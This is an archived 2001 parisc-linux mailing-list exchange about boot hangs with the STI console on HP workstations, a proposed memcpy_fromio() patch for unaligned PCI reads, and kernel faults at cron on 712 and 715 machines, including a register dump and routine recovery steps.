Message-ID: <01060810451304.00472@wolf01.my.home>
References: <20010608155249.T16532@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620198 20636 80.91.229.3 (22 Nov 2014 01:36:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:38 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	Mike Werneke <mikewerneke@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 09:48:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4111F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 09:48:33 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp52.cc1.pflash.com [63.121.24.54]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005336096@vopserver.pflash.com>;
 Fri, 8 Jun 2001 10:43:29 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11293

Richard

Congrat's (early) -

You may have spotted the problem -

There isn't any "CONFIG_FB_STI" in the config file shipped
with V0.9 iso image.

Nor in any of the few CVS-Kernel tar-zips that I have checked.

Mike

On Fri, 08 Jun 2001, Richard Hirst wrote:
> On Fri, Jun 08, 2001 at 09:15:02AM -0500, Michael S . Zick wrote:
> > Note to all -
> >=20
> > The problem exists (on my 720) WITHOUT the frame buffer code
> > in the image.
>=20
> Well, with CONFIG_STI_CONSOLE and CONFIG_FB_STI both unset your kernel
> can't be hanging after "Console: colour dummy device 80x25", can it?
> So at this point I don't think we know it is the same problem on
> 735+sti as it is on your 720+serial.
>=20
> Richard
>=20
> > Mike
> >=20
> > On Thu, 07 Jun 2001, Thomas Bogendoerfer wrote:
> > > On Thu, Jun 07, 2001 at 03:51:22AM -0000, Mike Werneke wrote:
> > > > --snip
> > > > CPU(s): 1 x PA7100 (PCX-T) at 99.000000 MHz
> > > > Kernel command line: HOME=3D/ TERM=3Dlinux root=3D/dev/ram consol=
e=3Dtty0 sti=3D0=20
> > > > sti_font=3DVGA8x16
> > > > Console: colour dummy device 80x25
> > > > snip--
> > > >=20
> > > > and then hangs.  Could this be a bad iso image? Or is this a know=
n issue?=20
> > >=20
> > > no, you are running the sti console kernel on a not supported frame=
 buffer.
> > > Use the 32serial image.
> > >=20
> > > Thomas.




From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel faults on boot
Date: Fri, 8 Jun 2001 19:28:51 +0200 (CEST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106081924340.9668-100000@leo.uni-sw.gwdg.de>
References: <20010608115550.J16532@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620199 20641 80.91.229.3 (22 Nov 2014 01:36:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:39 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 11:29:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 403CB482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 11:29:20 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 158Q43-0006bk-00; Fri, 08 Jun 2001 19:28:51 +0200
In-Reply-To: <20010608115550.J16532@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11294

On Fri, 8 Jun 2001, Richard Hirst wrote:

> On Wed, Jun 06, 2001 at 02:18:07PM -0700, E Frank Ball wrote:
> > On Wed, Jun 06, 2001 at 02:02:12PM -0700, E Frank Ball wrote:
> > }
> > } I have a 712/80 and a graphics monitor (HP A1097C).  I got the base
> > } system running from the palinux-0.9-32sti.iso CD.
> >
> > It had rebooted ok a couple of times, but now it get to starting cron,
> > then register dumps with a kernel fault.
>
> As mentioned in the errata <http://parisc-linux.org/release-0.9/errata.html>,
> sti installs have a tendency to crash on reboot at the moment.  If this is a
> repeatable problem, I'd be interested in the register dump.

Hi!

I have played with a 712/60 and had the same problem as Frank. I got
it installed over the first reboot, but after a the next one on
every reboot it crashed with Kernel faults at cron.

Now I have reinstalled and I do not get over the reboot. Is it
explained somewhere, which I need to write down, to help you debug
the problem? (I guess it doesn't make it into any logs, which I
could look at by putting the disk on another machine.)

Greetings,
	Peter.





From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] memcpy_fromio() seems partially broken [with patch]
Date: Fri, 8 Jun 2001 23:37:31 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <20010608213850.B827A482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620199 20644 80.91.229.3 (22 Nov 2014 01:36:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 15:38:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id B827A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 15:38:50 -0600 (MDT)
Original-Received: (qmail 30388 invoked by uid 0); 8 Jun 2001 21:38:16 -0000
Original-Received: from pd90402d4.dip.t-dialin.net (HELO there) (217.4.2.212)
  by mail.gmx.net (mp006-rz3) with SMTP; 8 Jun 2001 21:38:16 -0000
X-Mailer: KMail [version 1.2.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11295

Hi,

while I was playing with a few network-cards in the c3k I found a strange 
behaviour when copying unaligned data with memcpy_fromio() off the PCI bus.

Background: 
I wanted to copy data off the network-card (HP J2585A) from an 4-byte aligned 
PCI address to an 2-byte aligned (b/c of skb_reserve(skb, 2)) memory-address 
with memcpy_fromio().
The current code in CVS for memcpy_fromio() copied byteswapped and/or 
completely wrong data for all copied values, while the following 
memcpy_fromio() worked without problems:

/* Copies a block of memory from a device in an efficient manner.
 * Assumes the device can cope with 32-bit transfers.  If it can't,
 * don't use this function.
 */
void memcpy_fromio(const void *dest, unsigned long src, int count)
{
        u32 value;
        if (((unsigned long)dest & 3) != (src & 3))
                goto wordcopy;
        while (src & 3) {
                *(char *)dest = readb(src++);
                ((char *)dest)++;
                count--;
        }
        while (count > 3) {
                *(u32 *)dest = readl(src);
                dest += 4;
                src += 4;
                count -= 4;
        }
        if (!count)
                return;
 wordcopy:
        if (src & 3)
                goto bytecopy;
 wordcopy_loop:
        value = readl(src);
        *((char*)dest) = (char) (value >> 24);  dest++;
        if (--count == 0) return;
        *((char*)dest) = (char) (value >> 16);  dest++;
        if (--count == 0) return;
        *((char*)dest) = (char) (value >> 8);   dest++;
        if (--count == 0) return;
        *((char*)dest) = (char) (value);  dest++;
        if (count) goto wordcopy_loop;
        return;
 
 bytecopy:
        while (count--) {
                *(char *)dest = readb(src++);
                ((char *)dest)++;
        }
}

The previous version copied all data with readb() while this implementation 
tries to access the (pci-)bus most of the time with readl()s. 
I know, this is not the best or cleanest implementation, but I think we need 
to change memcpy_fromio() in such a manner.

What is your thought about it, or any ideas why the previous version sucked ?

Greetings,
Helge




From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memcpy_fromio() seems partially broken [with patch]
Date: Sat, 9 Jun 2001 02:39:17 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20010609023917.C28264@parcelfarce.linux.theplanet.co.uk>
References: <20010608213850.B827A482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620199 20648 80.91.229.3 (22 Nov 2014 01:36:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 19:39:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6195482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 19:39:30 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 158Xif-0005fh-00; Sat, 09 Jun 2001 02:39:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010608213850.B827A482A@dsl2.external.hp.com>; from deller@gmx.de on Fri, Jun 08, 2001 at 11:37:31PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11296

On Fri, Jun 08, 2001 at 11:37:31PM +0200, Helge Deller wrote:
> while I was playing with a few network-cards in the c3k I found a strange 
> behaviour when copying unaligned data with memcpy_fromio() off the PCI bus.
> 
> Background: 
> I wanted to copy data off the network-card (HP J2585A) from an 4-byte aligned 
> PCI address to an 2-byte aligned (b/c of skb_reserve(skb, 2)) memory-address 
> with memcpy_fromio().
> The current code in CVS for memcpy_fromio() copied byteswapped and/or 
> completely wrong data for all copied values, while the following 
> memcpy_fromio() worked without problems:

This is very bizarre.  Following the codepaths, the current code does:

	if (((unsigned long)dest & 3) != (src & 3))
		goto bytecopy;

 bytecopy:
	while (count--) {
		*(char *)dest = readb(src++);
		((char *)dest)++;
	}

and i don't see how that can possibly do byteswapping.  unless byteswapping
is necessary and this code is failing to do that?  Your code is doing:

         if (((unsigned long)dest & 3) != (src & 3))
                 goto wordcopy;

  wordcopy:
         if (src & 3)
                 goto bytecopy;
  wordcopy_loop:
         value = readl(src);
         *((char*)dest) = (char) (value >> 24);  dest++;
         if (--count == 0) return;
         *((char*)dest) = (char) (value >> 16);  dest++;
         if (--count == 0) return;
         *((char*)dest) = (char) (value >> 8);   dest++;
         if (--count == 0) return;
         *((char*)dest) = (char) (value);  dest++;
         if (count) goto wordcopy_loop;
         return;

which is doing a byteswap on the  value returned from readl!  This seems
pretty grotesque to me.  I want to hear from someone (eg grant) who can
say what's actually going on here..

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 735/99 hangs after booting from CDROM
Date: Sun, 10 Jun 2001 13:41:30 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010610134130.A16532@linuxcare.com>
References: <20010608155249.T16532@linuxcare.com> <01060810451304.00472@wolf01.my.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620200 20651 80.91.229.3 (22 Nov 2014 01:36:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:40 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	Mike Werneke <mikewerneke@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
To: "Michael S . Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 10 06:45:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F54E482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Jun 2001 06:45:31 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B3B0CB007; Sun, 10 Jun 2001 13:41:30 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01060810451304.00472@wolf01.my.home>; from mszick@pflash.com on Fri, Jun 08, 2001 at 10:41:08AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11297

On Fri, Jun 08, 2001 at 10:41:08AM -0500, Michael S . Zick wrote:
> Richard
> 
> Congrat's (early) -
> 
> You may have spotted the problem -
> 
> There isn't any "CONFIG_FB_STI" in the config file shipped
> with V0.9 iso image.

Yes I know, I created those config files ;)

CONFIG_STI_CONSOLE and CONFIG_FB_STI do not both have to be selected.
CONFIG_STI_CONSOLE was developed first, and gives you just a standard
text-style interface, CONFIG_FB_STI gives frame buffer support.

CONFIG_STI_CONSOLE works on more machines that CONFIG_FB_STI at the
moment, so we shipped the 0.9 release with CONFIG_STI_CONSOLE.  As an
example, CONFIG_FB_STI doesn't work on my B180, but CONFIG_STI_CONSOLE
does.  I believe both work on 712.

Richard





From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel faults on boot
Date: Sun, 10 Jun 2001 14:09:27 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20010610140927.C16532@linuxcare.com>
References: <20010608115550.J16532@linuxcare.com> <Pine.LNX.4.33.0106081924340.9668-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620200 20660 80.91.229.3 (22 Nov 2014 01:36:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 10 07:13:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21EA2482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Jun 2001 07:13:27 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A6433B007; Sun, 10 Jun 2001 14:09:27 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.33.0106081924340.9668-100000@leo.uni-sw.gwdg.de>; from weilbach@uni-sw.gwdg.de on Fri, Jun 08, 2001 at 07:28:51PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11298

On Fri, Jun 08, 2001 at 07:28:51PM +0200, Peter Weilbacher wrote:
> I have played with a 712/60 and had the same problem as Frank. I got
> it installed over the first reboot, but after a the next one on
> every reboot it crashed with Kernel faults at cron.
> 
> Now I have reinstalled and I do not get over the reboot. Is it
> explained somewhere, which I need to write down, to help you debug
> the problem? (I guess it doesn't make it into any logs, which I
> could look at by putting the disk on another machine.)

I expect to get my hands on a 712 very soon, so I'll see if I can
reproduce this problem.  So far as what you can write down for me...
Usually a kernel crash gives a stack dump followed by the fault type
and address, then a bunch of registers.  I'm not too interested in the
stack dump (which has probably scrolled off the screen, anyway), but
everything after the stack dump would be useful.

You could interact with the IPL and add 'init=/bin/sh' to the parameters.
It might at least boot to a shell prompt then.  It is unlikely to be
cron itself that causes the problem, but just in case you could disable
it by renaming /usr/sbin/cron.  Something like

boot to a shell
e2fsck /dev/sda<whatever your root device is>
mount -o remount,rw /
mv /usr/sbin/cron /usr/sbin/cron.ori
sync
mount -o remount,ro /
hit the reset button and try a normal boot again


Thanks,
  Richard





From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 735/99 hangs after booting from CDROM
Date: Sun, 10 Jun 2001 21:54:26 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <20010610195439.995B0482A@dsl2.external.hp.com>
References: <20010608155249.T16532@linuxcare.com> <01060810451304.00472@wolf01.my.home> <20010610134130.A16532@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620200 20663 80.91.229.3 (22 Nov 2014 01:36:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 10 13:54:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 995B0482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Jun 2001 13:54:39 -0600 (MDT)
Original-Received: (qmail 14703 invoked by uid 0); 10 Jun 2001 19:54:37 -0000
Original-Received: from pd9040d3c.dip.t-dialin.net (HELO there) (217.4.13.60)
  by mail.gmx.net (mp003-rz3) with SMTP; 10 Jun 2001 19:54:37 -0000
X-Mailer: KMail [version 1.2.2]
In-Reply-To: <20010610134130.A16532@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11299

> As an example, CONFIG_FB_STI doesn't work on my B180, but CONFIG_STI_CONSOLE
> does.  I believe both work on 712.

Just for the record: afaik CONFIG_FB_STI only works on newer 715's (715/64, 
715/80, 715/100) machines, but you should be able to safely enable both 
CONFIG_xxx's and will get framebuffer support if available.

Helge




From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memcpy_fromio() seems partially broken [with patch]
Date: Sun, 10 Jun 2001 18:03:26 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <200106110003.SAA11489@puffin.external.hp.com>
References: <20010609023917.C28264@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620200 20664 80.91.229.3 (22 Nov 2014 01:36:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 10 18:11:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C7F5482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Jun 2001 18:11:02 -0600 (MDT)
Original-Received: from puffin (localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA11489;
	Sun, 10 Jun 2001 18:03:27 -0600
In-Reply-To: Your message of "Sat, 09 Jun 2001 02:39:17 BST."
             <20010609023917.C28264@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11300

Matthew Wilcox wrote:
> This is very bizarre.  Following the codepaths, the current code does:
...
>  bytecopy:
...
> and i don't see how that can possibly do byteswapping.  unless byteswapping
> is necessary and this code is failing to do that?

That's what it sounds like.

> Your code is doing:
> 
>          if (((unsigned long)dest & 3) != (src & 3))
>                  goto wordcopy;
> 
>   wordcopy:
>          if (src & 3)
>                  goto bytecopy;
>   wordcopy_loop:
...
> which is doing a byteswap on the  value returned from readl!

Exactly.

> This seems
> pretty grotesque to me.

It looks grotesque but the compiler should be able to
do pretty well with that.

>   I want to hear from someone (eg grant) who can
> say what's actually going on here..

The problem seems that the data needs to be swapped and I don't know why.
Perhaps the card is swapping the data?
acenic (and tulip?) has such a mode.

PARISC pci host bus adapters has a "byte is byte" approach to data.
I've heard the term "address invariance" used but not sure if
that's exactly the same thing. The idea here is data DMA'd into memory
is a byte stream and the CPU reading the data from memory byte at a time
from low address to higher address would see the same data.

Normally we expect the consumer of data (eg device driver) from IO space
to perform the swap and not the accessor functions (eg readl).

I need to do more homework to be certain about the following:
  I *think* CPU reading IO space directly needs to be swapped to
  provide the same illusion that DMA provides. The problem (I think)
  is the data is *little* endian across the PCI bus and presented as
  such to the CPU which then stores it *big* endian in memory.

Dino ERS has a nice chapter on this mess. Elroy follows the same rules.
I'll have to read that again.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Mon, 11 Jun 2001 13:17:39 +0200 (CEST)
Lines: 53
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106111249020.9668-100000@leo.uni-sw.gwdg.de>
References: <20010610140927.C16532@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620201 20668 80.91.229.3 (22 Nov 2014 01:36:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:41 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 05:18:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42C92482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 05:18:09 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 159PhT-0002LS-00; Mon, 11 Jun 2001 13:17:39 +0200
In-Reply-To: <20010610140927.C16532@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11301

On Sun, 10 Jun 2001, Richard Hirst wrote:

> On Fri, Jun 08, 2001 at 07:28:51PM +0200, Peter Weilbacher wrote:
> > I have played with a 712/60 and had the same problem as Frank. I got
> > it installed over the first reboot, but after a the next one on
> > every reboot it crashed with Kernel faults at cron.
> >
> > Now I have reinstalled and I do not get over the reboot. Is it
> > explained somewhere, which I need to write down, to help you debug
> > the problem? (I guess it doesn't make it into any logs, which I
> > could look at by putting the disk on another machine.)
>
> I expect to get my hands on a 712 very soon, so I'll see if I can
> reproduce this problem.  So far as what you can write down for me...
> Usually a kernel crash gives a stack dump followed by the fault type
> and address, then a bunch of registers.  I'm not too interested in the
> stack dump (which has probably scrolled off the screen, anyway), but
> everything after the stack dump would be useful.

Hmm, it seems that the numbers change every time, but here are the
ones from the last instance:

	Kernel Fault: Code=15 regs=1051ca80 (Addr=1dc0ce18)

	     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
	PSW: 00000000000001000000000000001111
	r0-3o 00000000 10236000 10193d70 1dc0cd18
	r4-7o 146fc000 102fe13c 00000001 00000100
	r8-11o 4020b1a8 00000000 00000004 146ff000
	r12-15o 00000100 00000030 00003000 102fe138
	r16-19o 00000080 1051c908 00000001 14786000
	r20-23o 146fc000 102959f8 101da1d4 00000000
	r24-27o 000000ff 1dc0ce18 146fc000 10268010
	r28-31o 00001920 00000004 1051ccc0 10192c78
	sr0-3o 00000000 0000012a 00000000 0000012a
	sr4-7o 00000000 00000000 00000000 00000000

	IASQ: 00000000 00000000 IAOQ: 10236234 10236238
	 IIR: 0f221033    ISR: 00000000  IOR: 1dc0ce18
	 ORIG_R28: 1005f210

Phew, quite a work to type all this stuff, I am glad that you are
not interested in the stack... Perhaps this is useful.

In the meantime I noticed that about every 6th time it boots up
without crashing, but the keyboard setting from the installation
(German) was obviously not saved.

Peter.





From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Nicolai Leymann" <n.leymann@berkom.de>
Newsgroups: gmane.linux.ports.parisc
Subject: AW: [parisc-linux] Re: Kernel faults on boot
Date: Mon, 11 Jun 2001 13:34:42 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <NDBBKPOMPCLCKIFPPHMNOEFDCOAA.n.leymann@berkom.de>
References: <Pine.LNX.4.33.0106111249020.9668-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620201 20671 80.91.229.3 (22 Nov 2014 01:36:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 05:33:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailer (mailer.berkom.de [141.39.13.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F488482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 05:33:46 -0600 (MDT)
Original-Received: from peelnb (peel-nb.berkom.de [141.39.12.118])
	by mailer (8.11.2/0.0.0) with SMTP id f5BBXY118264
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 13:33:34 +0200 (MET DST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <Pine.LNX.4.33.0106111249020.9668-100000@leo.uni-sw.gwdg.de>
Xref: news.gmane.org gmane.linux.ports.parisc:11302

Hi,

> -----Ursprungliche Nachricht-----
> Von: parisc-linux-admin@lists.parisc-linux.org
> [mailto:parisc-linux-admin@lists.parisc-linux.org]Im Auftrag von Peter
> Weilbacher
> Gesendet: Montag, 11. Juni 2001 13:18
> An: Richard Hirst
> Cc: parisc-linux@lists.parisc-linux.org
> Betreff: Re: [parisc-linux] Re: Kernel faults on boot
>
>
> On Sun, 10 Jun 2001, Richard Hirst wrote:
>
> > On Fri, Jun 08, 2001 at 07:28:51PM +0200, Peter Weilbacher wrote:
> > > I have played with a 712/60 and had the same problem as Frank. I got
> > > it installed over the first reboot, but after a the next one on
> > > every reboot it crashed with Kernel faults at cron.
> > >
I've exactly the same problem on a 715/64. I installed 0.9 and the machine
crashes after the reboot while starting cron. Unfortunately I haven't had
the time to check this in detail.

    Nic

--
Nicolai Leymann                   Mail:   nicolai.leymann@telekom.de
T-Nova Berkom                     Phone:  ++49-30-34973570
